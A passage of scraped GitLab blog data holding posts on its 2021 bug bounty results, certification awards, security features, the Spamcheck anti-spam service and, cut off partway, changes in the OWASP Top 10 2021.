\"@type\": \"Article\",\n        \"headline\": \"2021: Smashing bugs and dropping names\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-12-14\",\n      }",{"title":3740,"description":3741,"authors":3746,"heroImage":3742,"date":3727,"body":3747,"category":14,"tags":3748},[3178],"2021 was the year where we started to adapt to our new normal, to get back up to speed on how to get work done in new surroundings, many of us remotely for the first time... not us here at GitLab, of course, as we’re all remote, but the rest of the ‘us’ that live and work across the world! \n\nFor us here at GitLab, there were definitely still changes 🎉 😉, but within our Application Security team, the group who manages our bug bounty program, 2021 meant program management changes, increased bounties 💥, and changes in how we score vulnerabilities and bounties 🐞.\n\nBut first, let’s take a look at 2021 by the numbers. \n\n### Metrics\n- 752 reports from 405 security researchers in 2021.\n- Awarded a total of $280K USD in bounties to 80 different researchers reporting *valid vulnerabilities*.\n- Resolved 189 reports and made 99 of those reports public.\n- Had 115 security researchers submit more than one report, meaning their first engagement with us was a positive one.  \n_Note: Data pulled is accurate as of Dec. 7, 2021._\n\n## We're now a managed program that pays more\nIn February of this year, we moved to a managed program on HackerOne. This moved the responsibility for initial triage and the legwork to reproduce new reports to the HackerOne team, and allowed our AppSec team to focus on the fixes, defense-in-depth improvements, code reviews, improved automation, and more. Rest assured though, our security engineers keep an eye on that HackerOne report queue and are ready to jump in when a report requires more in-depth knowledge of GitLab. \n\nAnd, we’re grateful for every single one of those 752 reports submitted by the amazing security researchers and bug bounty hunters who contribute to our program. You truly do make us stronger and more secure. This is why we went ahead and [raised bounties across all bounty ranges on November 22 of this year](/blog/3rd-annual-bug-bounty-contest/#-increased-bounties-across-all-bounty-ranges-). We want to ensure we’re competitively rewarding and recognizing the reporters who contribute to our program.\n\n## We want you to know\nWe’re also still working to provide reporters with insight into our bug bounty program processes, wherever possible. In March, via a blog post, we took a deep dive into the [GitLab Bug Bounty Council process](/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process/) we use to ensure collaboration and consistency across our severity and bounty assessments. We detailed the way we hold async council discussions and cast votes in GitLab issues and how we started assigning CVSS scores to each vulnerability as an iterative step to further CVSS utilization. You can [see that we’ve since started using](/blog/3rd-annual-bug-bounty-contest/#standardizing-bounty-calculations) our own [CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/) to be even more transparent and consistent in our award process. We’ll take a closer look at our [HackerOne process](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) and [CVSS-based scoring method](/handbook/security/security-engineering/application-security/runbooks/cvss-calculation.html) in a blog coming next quarter.\n\n## Tips to help your hack\nBeyond providing you with an inside look into some of our processes, we worked with some of the [top hackers from our program](https://hackerone.com/gitlab/thanks?type=team) to share video and blog content that includes [tips for streamlining your hack via GitLab repositories, projects, issues, labels, and issue boards](/blog/how-i-use-gitlab-to-help-my-hack/), details on the [types of bugs they like to track](/blog/ajxchapman-ask-a-hacker/), how, exactly, they [approach bug hunting on GitLab](https://www.youtube.com/watch?v=XRBeYXb9IlA), ways they ensure they [fit hacking in with everything else](https://www.youtube.com/watch?v=hECvkY6LnUU) life throws at them, and even how they [choose the programs and features they are going to spend their time on](https://youtu.be/eDwnTmuWFsE). Alex Chapman, [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman?type=user), and William Bowling, [@vakzz on HackerOne](https://hackerone.com/vakzz), were kind enough to spend some time in public-facing Ask Me Anything (AMA) sessions with us this year. If you’re looking for inspiration, or to learn something new, [this series](https://www.youtube.com/playlist?list=PL05JrBw4t0Kqvvpk9PmRO6fZ0xmnKBp_s) is well worth your time.  Have an amazing hacker who contributes to our program that you’d like to see featured in an upcoming AMA?  Let us know via twitter at [@gitlab](https://twitter.com/gitlab) or in the comments below! \n\n## What’s in store for 2022?\nWe’ll be kicking off the new year by taking care of some house cleaning in the first few quarters – processing and spending time cleaning up our security backlog to resolve outstanding issues and minimize the chances of your next shiny, new report being a duplicate. \n\nBeyond committing to continually sharing information and insights into our processes and program and highlighting the amazing depth of expertise and talent of the hackers in our program, we're also going to keep looking for ways to improve our program for all who participate, including the potential idea of increased program scope. \n\nNow, onto the _really_ good stuff (I mean, those increased bounties are _pretty_ good, but… 🤑 ). \n\nWe announced this year’s bug bounty contest (which commemorates our [third year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/)) on November 1 of this year and received 67 reports from 51 different individuals between November 1 and December 3, and 30 of them were from new reporters!\n\nThanks to all who contributed! 🙌\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-gift\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Congratulations to these five contest winners \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Congratulations to [@ashish_r_padelkar](https://hackerone.com/ashish_r_padelkar) who led the pack in reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Congratulations to [@jarij](https://hackerone.com/jarij) who nailed it with the highest reputation score of any new reporter to our program.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i>  **Best written report.**  Congratulations to  [@ajxchapman](https://hackerone.com/ajxchapman), who once again treated us with a clear and beautifully written report as we've come to expect from Alex. Look no further than his profile page to see other examples of that!\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [Ngo Wei Lin of STAR Labs](https://hackerone.com/star-labs), who found a really clever way to use an intended feature and make a vulnerability out of it.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-exclamation fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations to [@0xn3va](https://hackerone.com/0xn3va), who we believe with _little strokes fell great oaks_ (or could have)!😉\n{: #id-exclamation}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, more details surrounding the research from the best written report, most innovative report, and most impactful finding category winners will be released in future [security release blog posts](/releases/categories/releases/).*\n\n### We cannot wait to send you one of what's below (plus a cute little Elgato Stream Deck mini to help you streamline that hack). 😎\n\n![custom GitLab Mechanical Keyboard](https://about.gitlab.com/images/blogimages/2021-gitlab-keyboard.png){: .shadow.medium.center}\nWe’re looking forward to your next bug report, submitted with this Tanuki-powered Code V3 with *gold-plated cherry mx brown switches*.\n{: .note.text-center}\n\nHere’s to smashing more bugs, together, in 2022. 🥂\n\nHappy hacking,\n\nThe GitLab Security team\n",[14,899],{"slug":3750,"featured":6,"template":677},"smashing-bugs-and-dropping-names-in-2021","content:en-us:blog:smashing-bugs-and-dropping-names-in-2021.yml","Smashing Bugs And Dropping Names In 2021","en-us/blog/smashing-bugs-and-dropping-names-in-2021.yml","en-us/blog/smashing-bugs-and-dropping-names-in-2021",{"_path":3756,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3757,"content":3763,"config":3769,"_id":3771,"_type":16,"title":3772,"_source":17,"_file":3773,"_stem":3774,"_extension":20},"/en-us/blog/gitlab-technical-certification-award-wins",{"title":3758,"description":3759,"ogTitle":3758,"ogDescription":3759,"noIndex":6,"ogImage":3760,"ogUrl":3761,"ogSiteName":767,"ogType":768,"canonicalUrls":3761,"schema":3762},"GitLab Technical Certifications program wins 5 awards at LearnX Conference","GitLab's Tech Certification programs won 5 different awards at this year's LearnX conference.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663397/Blog/Hero%20Images/logoforblogpost.jpg","https://about.gitlab.com/blog/gitlab-technical-certification-award-wins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Technical Certifications program wins 5 awards at LearnX Conference\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kendra Marquart\"}],\n        \"datePublished\": \"2021-12-03\",\n      }",{"title":3758,"description":3759,"authors":3764,"heroImage":3760,"date":3766,"body":3767,"category":14,"tags":3768},[3765],"Kendra Marquart","2021-12-03","\n\nIn June of this year our Professional Services team entered our [GitLab Technical Certification programs](/handbook/customer-success/professional-services-engineering/gitlab-technical-certifications/) into several different worldwide conferences and we are proud to announce that GitLab has won 5 awards at this year's LearnX learning impact awards! \n\nWe won 3 Gold awards for our [GitLab Certified CI/CD Specialist Self Paced Course](/services/education/gitlab-technical-certification-self-paced/) in the following categories: \n\n![LearnX gold award](https://about.gitlab.com/images/blogimages/learnxgold.png){: .shadow.small.left}\n\n- Best Certification Training Project \n- Best Game eLearning Design \n- Best Learning and Development Project \n\nWe won 2 Silver awards for our [GitLab Certified Associate Self Paced Course](/services/education/gitlab-technical-certification-self-paced/) in the following categories: \n\n![LearnX silver award](https://about.gitlab.com/images/blogimages/learnxsilver.png){: .shadow.small.left}\n\n- Best Micro/Bite Size eLearning Design \n- Best Content Curation Project\n\n## What is LearnX?\n\nThe LearnX Impact Awards is an annual event run by the LearnX Foundation, a not-for-profit organization promoting innovative workforce learning and supporting technologies. This conference is held once a year in November and highlights success in the learning and development space. \n\n## What GitLab Technical Certifications are Available?\n\nWe currenly offer the following [GitLab Technical Certifications](/handbook/customer-success/professional-services-engineering/gitlab-technical-certifications/), all of which are available as self-paced e-learnings in [GitLab Learn](/learn/) or as an [Instructor-Led class](/services/education/) with our Professional Services team.  \n\n\n",[715,675,267],{"slug":3770,"featured":6,"template":677},"gitlab-technical-certification-award-wins","content:en-us:blog:gitlab-technical-certification-award-wins.yml","Gitlab Technical Certification Award Wins","en-us/blog/gitlab-technical-certification-award-wins.yml","en-us/blog/gitlab-technical-certification-award-wins",{"_path":3776,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3777,"content":3783,"config":3789,"_id":3791,"_type":16,"title":3792,"_source":17,"_file":3793,"_stem":3794,"_extension":20},"/en-us/blog/three-things-you-might-not-know-about-gitlab-security",{"title":3778,"description":3779,"ogTitle":3778,"ogDescription":3779,"noIndex":6,"ogImage":3780,"ogUrl":3781,"ogSiteName":767,"ogType":768,"canonicalUrls":3781,"schema":3782},"Three things you might not know about GitLab security","There's so much more to GitLab's security offering than meets the eye. Here are three features you may have missed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667202/Blog/Hero%20Images/gitlabultimatesecurity.jpg","https://about.gitlab.com/blog/three-things-you-might-not-know-about-gitlab-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Three things you might not know about GitLab security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Wilson\"}],\n        \"datePublished\": \"2021-11-23\",\n      }",{"title":3778,"description":3779,"authors":3784,"heroImage":3780,"date":3786,"body":3787,"category":14,"tags":3788},[3785],"Matt Wilson","2021-11-23","\n\nOver the past couple of years, our users have come to know and regularly use our many security features that are part of the [Secure](/stages-devops-lifecycle/secure/) and [Protect](/stages-devops-lifecycle/govern/) stages. We have seen success stories from customers who have improved their security postures by reducing vulnerabilities in application code. One thing that surprises me when I speak to our users is that many aren’t aware of some of our most useful features. Here are three things you really should know about GitLab’s capabilities that will help take your security game to the next level.\n\n## We have a GraphQL API!\n\nGitLab has long offered a [REST API](https://docs.gitlab.com/ee/api/api_resources.html). It is quite capable but when it comes to vulnerability management, it is limited in what you can do. Our [GraphQL API](https://docs.gitlab.com/ee/api/graphql/index.html) is newer and is the area of focus for new API development. Vulnerability management in particular has quite an extensive feature set in the GraphQL API. Whether you are looking to build task automation, create custom reports, or pull in vulnerability data from external sources, GraphQL is your go to resource.\n\nBringing in vulnerability data from outside GitLab is a new capability worth calling extra attention to. You can use GraphQL to [directly create vulnerability records](https://docs.gitlab.com/ee/api/graphql/reference/#mutationvulnerabilitycreate) on projects. This is great for migrating vulnerability data from other systems, creating integrations with a bug bounty program, or even bringing in results from security tools that don’t run in GitLab pipeline jobs. I’m sure our users will come up with many more creative use cases. Even better, these vulnerability records show up in [Vulnerability Reports](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) and [Security Dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) just like results from any of our many included security scanners.\n\n## Security approvals help stop new vulnerabilities\n\nA primary goal of any application security program is to reduce risk by keeping vulnerabilities out of deployed code. One of the best ways to do this is by preventing new vulnerabilities from getting into your main branch in the first place. Scanning feature branches on every commit is a recommended practice many of our customers employ. But it’s how to keep vulnerability findings from being merged where I see a lot missing out on a power feature that can help.\n\nI commonly see pipelines configured to block or fail if any security scan jobs detect a potential vulnerability in new code. While this approach is effective in keeping new vulnerabilities from being merged, it can be more disruptive and less efficient for developers and AppSec teams. Instead, we recommend using [security approvals in merge requests](https://docs.gitlab.com/ee/user/application_security/index.html#security-approvals-in-merge-requests). Like normal MR approval rules, you first specify one or more individuals that will be part of the security approval group. Members of security approval groups don’t even need to have merge rights to the project so you can have [segregation of duties](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties). You then configure the detection rule to set the number of approvals required, severity levels that trigger the approval and even which scanners the rule applies to. And while you are setting up your approval rules, consider enabling the setting that [prevents merge approvals by the MR author](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html#prevent-approval-by-author) for further segregation of duties.\n\nSecurity approval rules are great for a few reasons. First, you can more quickly enable and configure them on a project than custom pipeline behaviors. Also, only project owners and maintainers are able to access and modify these approvals. Contrast this with pipelines where anyone with the developer role can change pipeline configurations by default. Security approvals are also more visible and collaborative. When a pipeline is blocked or fails, the developer must navigate into the pipeline and try to figure out what failed by reading the job output. When a security approval is triggered, it will clearly show on the MR that merging is blocked until the flagged vulnerabilities are removed or approval is provided from the required number of security approvers. And because you can see any [scanner findings on the MR](https://docs.gitlab.com/ee/user/application_security/index.html#ultimate), developers can not only quickly investigate these potential vulnerabilities, they can also add comments and communicate with the security team. Best of all, developers can simply fix any findings that would require approval. Once the security scans no longer detect the violations, merging is immediately possible again.\n\n## Compliance pipelines enforce security hygiene\n\nLast but certainly not least is the newest of these three features: [compliance pipelines](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-pipeline-configuration). Have you ever wanted to make sure your code branches are properly scanned for vulnerabilities but you were having trouble auditing and enforcing it? Compliance pipelines to the rescue! Compliance pipelines allow group owners to add an additional pipeline configuration to projects. These configurations are combined with any existing configurations for the project pipeline. Compliance pipeline configurations are evaluated before any project configurations meaning they can override any values in the project pipeline. This is a powerful tool for automatically enforcing compliance with various regulatory and private industry standards as well as any internal company policies.\n\nCompliance pipelines work best when combined with [compliance frameworks](https://docs.gitlab.com/ee/user/project/settings/index.html#compliance-frameworks). Compliance frameworks allow group owners to specify the location of a compliance pipeline configuration. The configuration can be stored and managed in a dedicated project with restricted access. Special compliance framework labels are created which can then be applied by the group owner to any projects within the group. This label is what tells a project’s pipeline to pull in the associated compliance pipeline configuration. For example, you might create a PCI compliance label. You then simply apply the label to any projects within the scope of PCI such as any that process or store customer information and payment details.\n\nContinuing with our PCI example, you can enforce code scanning with these two features in place. Simply create a compliance pipeline configuration with the desired scanners included such as SAST and Secret Detection. Be sure the configuration file is in a project with access granted only to those users who should have permissions to modify it. Then, edit your PCI compliance label in your group settings and point it to the compliance pipeline configuration. You can even allow compliance job values to be settable at the project level. This means you can, for example, ensure a SAST job runs but leave room to select the right language-specific analyzers for a particular project’s codebase. Even better, [use GraphQL to quickly apply compliance labels](https://docs.gitlab.com/ee/api/graphql/reference/index.html#mutationprojectsetcomplianceframework) to multiple projects.\n\n## Wrapping it up\n\nWith so many features in a single platform, it is easy to overlook some. The ones I’ve shared are only a few of the many security-related features GitLab includes. They are also important to know about because of the additional flexibility and control they offer in addition to our comprehensive security scanning capabilities. I hope you’ve found at least one new idea to add to your security toolbelt.\n",[2849,14,715],{"slug":3790,"featured":6,"template":677},"three-things-you-might-not-know-about-gitlab-security","content:en-us:blog:three-things-you-might-not-know-about-gitlab-security.yml","Three Things You Might Not Know About Gitlab Security","en-us/blog/three-things-you-might-not-know-about-gitlab-security.yml","en-us/blog/three-things-you-might-not-know-about-gitlab-security",{"_path":3796,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3797,"content":3803,"config":3813,"_id":3815,"_type":16,"title":3816,"_source":17,"_file":3817,"_stem":3818,"_extension":20},"/en-us/blog/deep-dive-tech-stack-behind-spamcheck",{"title":3798,"description":3799,"ogTitle":3798,"ogDescription":3799,"noIndex":6,"ogImage":3800,"ogUrl":3801,"ogSiteName":767,"ogType":768,"canonicalUrls":3801,"schema":3802},"Deep dive: the tech stack behind Spamcheck","We take a closer look at the tooling, technical choices, metrics and lessons learned behind our new anti-abuse tool.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669851/Blog/Hero%20Images/vincent-toesca-KnK98ScsZbU-unsplash.jpg","https://about.gitlab.com/blog/deep-dive-tech-stack-behind-spamcheck","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Deep dive: the tech stack behind Spamcheck\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jayson Salazar\"},{\"@type\":\"Person\",\"name\":\"Alexander Dietrich\"},{\"@type\":\"Person\",\"name\":\"Alex Groleau\"},{\"@type\":\"Person\",\"name\":\"Ethan Urie\"},{\"@type\":\"Person\",\"name\":\"Juliet Wanjohi\"}],\n        \"datePublished\": \"2021-11-18\",\n      }",{"title":3798,"description":3799,"authors":3804,"heroImage":3800,"date":3810,"body":3811,"category":14,"tags":3812},[3805,3806,3807,3808,3809],"Jayson Salazar","Alexander Dietrich","Alex Groleau","Ethan Urie","Juliet Wanjohi","2021-11-18","\n\nWe recently wrote about how our [Security Automation](/handbook/security/security-engineering/automation/) team designed, tested and deployed a [new anti-spam engine called Spamcheck](/blog/introducing-spamcheck-data-driven-anti-abuse/). In this blog, we’d like to offer a deeper dive into our toolstack, the contributing factors surrounding some of those technical choices, and a look at the stack’s performance, including some lessons learned so far. \n\n## Building with flexibility and growth in mind\n\nAs mentioned in our previous blog on Spamcheck, we conceived and built the service to rely on Golang and gRPC from the beginning, and made this choice for 3 main reasons:\n1. Golang is one of the main languages (along with Ruby) that GitLab currently uses for its systems and services. We suspected from early interest and success that we’d need to eventually ship Spamcheck with Omnibus, so we needed to ensure minimal friction in build processes and shipment. Aligning Spamcheck’s stack with current GitLab engineering policies guaranteed we’d be flexible and efficient. Readers might wonder why Python wasn’t the foundation of such a data-driven, ML-powered service, despite [Python being a requirement for GitLab since 11.10](https://gitlab.com/gitlab-org/gitlab/-/commit/e5af7d83962934fc0463657a006acb54d4f85e85). While this is true, Python has only just recently been given serious consideration and attention at GitLab and our design, adaptation, integration and implementation work on Spamcheck has been ongoing for almost a year.\n2. Golang is high-performing, statically-linked and produces modestly-sized binaries most of the time. Other languages would have forced us to ship complex, voluminous environments; whereas, Golang allowed us to generate and ship small builds and images. Furthermore, we expected to expand analyses from GitLab issues to other user-generated artifacts, such as snippets and issue comments, so we’d need to be able to eventually process an even higher volume of requests efficiently.\n3. Finally, and as with any such service, we needed an invocation architecture, flexible and backwards-compatible API definitions, and out-of-the-box efficient serialization. What started as a proof-of-concept was starting to look more like a fundamental GitLab component, long-term. Thus, we decided to rely on gRPC, and [Gitaly](https://gitlab.com/gitlab-org/gitaly) and [Workhorse](https://gitlab.com/gitlab-org/gitlab/-/tree/master/workhorse/) set successful precedents to follow. It was important to ensure the communication protocol between GitLab and Spamcheck would not become a bottleneck; leaving future growth and flexibility unhindered.\n \n## Selecting infrastructure components for stability and scalability\n\nAs a small, largely self-sufficient, cross-disciplinary development team without dedicated SREs, our Security Automation team decided on [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/docs/concepts/kubernetes-engine-overview) (GKE) and [Knative](https://knative.dev/docs/) as our generic platform on which to develop, run, monitor and scale our workloads. This combination gave us the stability and scalability to provide a service that would eventually be integrated with GitLab.com. Today, we’re happy to share that Spamcheck has been successfully operating productively on all GitLab-related public projects on GitLab.com, the hardest hit by abuse, for about a month. We're targetting inclusion of Spamcheck in the [14.6 release for our GitLab self-managed customers](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6259). \n\nAt this point, however, it’s important to mention that the choices of Golang, gRPC, Kubernetes or Knative weren't decisions made lightly; here be dragons. A key consideration here was ensuring all team members involved were well-versed in the stack-components and aware of the custom deployment artifacts, the equivalent workflows for normal procedures such as debugging and more; as well as the rationale behind those workflows. _If you choose to follow shiny objects, make sure to do so for the right reasons and be sure to full-heartedly commit to thoughtful, well-reasoned usage._\n\n## Removing complexity; adding accuracy and stability\n\nGiven the above, it’s worth asking how we removed much of this complexity from the team's day-to-day operations, so as not to interfere with productivity and the project's progress. For that, as is to be expected, we use GitLab CI/CD. We use GitLab pipelines for building, storing, tracking and deploying the Docker images that make up the Spamcheck service. GitLab’s Kubernetes integration and CI pipeline features make production deployments of our service a one-click operation for members of the Security Automation team. This integration removes much of the complexity associated with properly building ProtoBuf definitions as required by gRPC-enabled services, including gathering and shipping dependencies, etc. Being in control of the deployment allows us to iterate quickly. This came in handy during the early stages of the rollout when gathering metrics about Spamcheck’s operation under real-world conditions efficiently, then iterating on the codebase and redeploying quickly was crucial.\n\nAs Spamcheck is called during the creation and update of public GitLab issues, low latency, stability and high accuracy are critical. To ensure these constraints are fulfilled, our team employs a range of GCP Cloud Monitoring services, including logs-based metrics, custom metrics, uptime checks and alerting policies. All of these and the GKE setup are automated via Terraform wherever possible, following our own [“Infrastructure as Code''](/direction/delivery/infrastructure_as_code/) strategy. \n\n## Early wins and metric-driven iteration\n\nAt GitLab, measurement is more than a buzzword, it’s part of our [“writing down promises”](https://handbook.gitlab.com/handbook/values/#write-promises-down) culture and [measuring our creations](https://docs.gitlab.com/ee/development/service_measurement.html#measuring-module) in order to define precise destinations and reorient whenever needed. \n\nTherefore, early on Spamcheck’s journey we set our sights on:\n* Surpassing Akismet’s precision and recall \n* Reducing the number of successfully submitted Spam issues our [Trust and Safety team](/handbook/security/security-operations/trustandsafety/) was dealing with on a day to day basis \n\nNow that we've been operating Spamcheck on all GitLab-related public projects on GitLab.com for the last month, our metrics show that we've surpassed Akismet’s false negative and false positive rates by ~300% and ~30% respectively. This means we've considerably reduced the amount of spam-related issues that reach our Trust and Safety team.  _In case you were expecting a detail-sparse, but nonetheless production-near sneak peek, into our good-looking dashboards for inspiration or just out of curiosity, here’s an impression from this past week from Spamcheck’s accuracy tracking dashboard:_\n\n![file name](https://about.gitlab.com/images/blogimages/spamcheck-dashboard.png){: .shadow.medium.center}\nSpamcheck’s accuracy tracking dashboard.\n{: .note.text-center}\n\n\n## Connecting Spamcheck to existing tooling\n\nThe Spamcheck service integrates with Inspector, our in-house machine learning model built by our Trust and Safety team to detect spam on GitLab issues and other user artifacts. While being analyzed, each issue request is sent to Inspector which provides a `spam` or `ham` prediction based on the issue’s content. Inspector is written in Python and utilizes a few libraries, mainly [Tensor-Flow](https://www.tensorflow.org/) and [scikit-learn](https://scikit-learn.org/stable/), which are open source and highly regarded by the machine learning community.\n\nAdditionally, use cases arose relatively early in Spamcheck’s development which led us to integrate GitLab’s main logging, monitoring, metrics and tracing infrastructure. Luckily, by leveraging [LabKit](https://gitlab.com/gitlab-org/labkit), a minimalist library that implements these features for Golang and Ruby services at GitLab, we’re able to easily ship metrics and logs via  Prometheus, Jaeger, LogStash and logrus to monitor, and when needed, we can troubleshoot our application in production.\n\nUsing these tools, services and strategies, we’re constantly monitoring Spamcheck’s performance, accuracy, and its impact on GitLab.com. We’re using our findings to continually improve our users’ experiences with our site. \n\n## Improvement and iteration\n\nOperating Spamcheck successfully wouldn’t have been possible if we hadn’t committed to improving the product itself, via numerous public, and many more private issues that were opened as a result of our lessons learned by developing and operating Spamcheck. \n\nFor example, we [evaluated possible improvements to BLOCK case handling in spam verdicts](https://gitlab.com/gitlab-org/gitlab/-/issues/329666), [stopped overriding Spamcheck verdicts !=ALLOW and now refuse to allow rescuing via reCAPTCHA](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71496) and also [extended blocking functionality to allow for shadow-banning](https://gitlab.com/groups/gitlab-org/-/epics/5741). \n\nLooking forward, we’ve started defining a better model development lifecycle, and integrating Inspector into Spamcheck to make it easier to deploy our service on self-managed instances. We’ve also started looking at potential retraining cadences and the versioning and testing of models to ensure that at any time our production system is using an optimally-trained model. We’re also looking to diversify our detection in other areas of GitLab where spam is encountered, including, for example, snippet spam using machine learning. \n\nCover image by [Vincent Toesca](https://unsplash.com/@vtoesca) on [Unsplash](https://unsplash.com/photos/KnK98ScsZbU)\n{: .note}\n",[14],{"slug":3814,"featured":6,"template":677},"deep-dive-tech-stack-behind-spamcheck","content:en-us:blog:deep-dive-tech-stack-behind-spamcheck.yml","Deep Dive Tech Stack Behind Spamcheck","en-us/blog/deep-dive-tech-stack-behind-spamcheck.yml","en-us/blog/deep-dive-tech-stack-behind-spamcheck",{"_path":3820,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3821,"content":3827,"config":3833,"_id":3835,"_type":16,"title":3836,"_source":17,"_file":3837,"_stem":3838,"_extension":20},"/en-us/blog/top-five-actions-owasp-2021",{"title":3822,"description":3823,"ogTitle":3822,"ogDescription":3823,"noIndex":6,"ogImage":3824,"ogUrl":3825,"ogSiteName":767,"ogType":768,"canonicalUrls":3825,"schema":3826},"Five key actions to take based on OWASP Top 10 2021 updates","Learn what actions engineers should take based on the OWASP Top 10 updates for 2021","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684879/Blog/Hero%20Images/joshua-golde-qIu77BsFdds-unsplash.jpg","https://about.gitlab.com/blog/top-five-actions-owasp-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top five actions engineers should take based on the OWASP Top 10 2021 security updates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2021-11-15\",\n      }",{"title":3828,"description":3823,"authors":3829,"heroImage":3824,"date":3831,"body":3832,"category":14},"Top five actions engineers should take based on the OWASP Top 10 2021 security updates",[3830],"Wayne Haber","2021-11-15","\n\u003C%= cache_bust(stylesheet_link_tag('harveyball'), cache_bust_value) %>\n\u003Cstyle>\n.slpBlog__article table > tbody > tr > td {\n  vertical-align: middle;\n}\ntd .harveyball {\n  margin: 0 auto;\n}\nli .harveyball {\n  display: inline;\n}\n\u003C/style>\n\nThe [OWASP Foundation](https://owasp.org/) recently released its long-anticipated [OWASP top 10 security vulnerability trends for 2021](https://owasp.org/Top10/).  This list provides awareness for developers and security teams on the most critical security risks to applications. This is the first update in four years.\n\nWe're proud to [sponsor the OWASP organization](https://about.gitlab.com/blog/gitlab-is-now-a-member-of-the-owasp-foundation/), which supports their mission \"to help the world improve the security of its software\" as well as support regional and global annual conferences. We were also thrilled to be able to help with the OWASP top 10 updates by compiling and providing [anonymized vulnerability data](https://about.gitlab.com/blog/gitlab-latest-security-trends/) to OWASP so they could use it with data from other sources to compile the trends.\n\n## There are many changes to the OWASP top 10\n\n\u003Ciframe src='https://flo.uri.sh/visualisation/7574790/embed' title='Interactive or visual content' class='flourish-embed-iframe' frameborder='0' scrolling='no' style='width:100%;height:600px;' sandbox='allow-same-origin allow-forms allow-scripts allow-downloads allow-popups allow-popups-to-escape-sandbox allow-top-navigation-by-user-activation'>\u003C/iframe>\u003Cdiv style='width:100%!;margin-top:4px!important;text-align:right!important;'>\u003Ca class='flourish-credit' href='https://public.flourish.studio/visualisation/7574790/?utm_source=embed&utm_campaign=visualisation/7574790' target='_top' style='text-decoration:none!important'>\u003Cimg alt='Made with Flourish' src='https://public.flourish.studio/resources/made_with_flourish.svg' style='width:105px!important;height:16px!important;border:none!important;margin:0!important;'> \u003C/a>\u003C/div>\n\nOWASP Top 10 changes from 2004 to 2021\n\nIn the top 5, broken access control has gone from #5 up to #1 on this list due to nearly 4% of applications having challenges in this area. Insecure design has been added as a new category. Cryptographic failures, injection, and security misconfiguration continue to be high on the list.\n\nIn the bottom 5, vulnerable and outdated components, identification/authentication issues, and logging/monitoring are still present. New categories are software/data integrity and Server-Side Request Forgery (SSRF).\n\nThe most significant changes between the OWASP Top 10 2017 and 2021 rankings is the position of Broken Authentication, which moved five steps down from position 2 to 7. This change indicates that this category is considered much less critical nowadays than it used to be in the past. In contrast, Broken Access Control is considered more critical in 2021 in comparison to 2017 because it moved up four steps from position 5 to 1.\n\nAnother noticeable difference when comparing OWASP Top 10 2017 and 2021 is the disappearance of the XML External Entity (XXE), Cross-Site Scripting (XSS), and Insecure Deserialization categories which have been absorbed by the Security Misconfiguration, Injection and Software and Data Integrity Failures categories in the 2021 ranking, respectively. This change freed up two additional spots in the 2021 ranking for the entirely new categories Insecure Design and SSRF. Vulnerabilities in Software Dependencies moved up three positions from position 9 in 2017 (Using Components with Known Vulnerabilities) to position 6 in 2021 (Vulnerable and Outdated Components).\n\n## What should engineering and security teams do based on the updates?\n\n1. [Broken access control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) 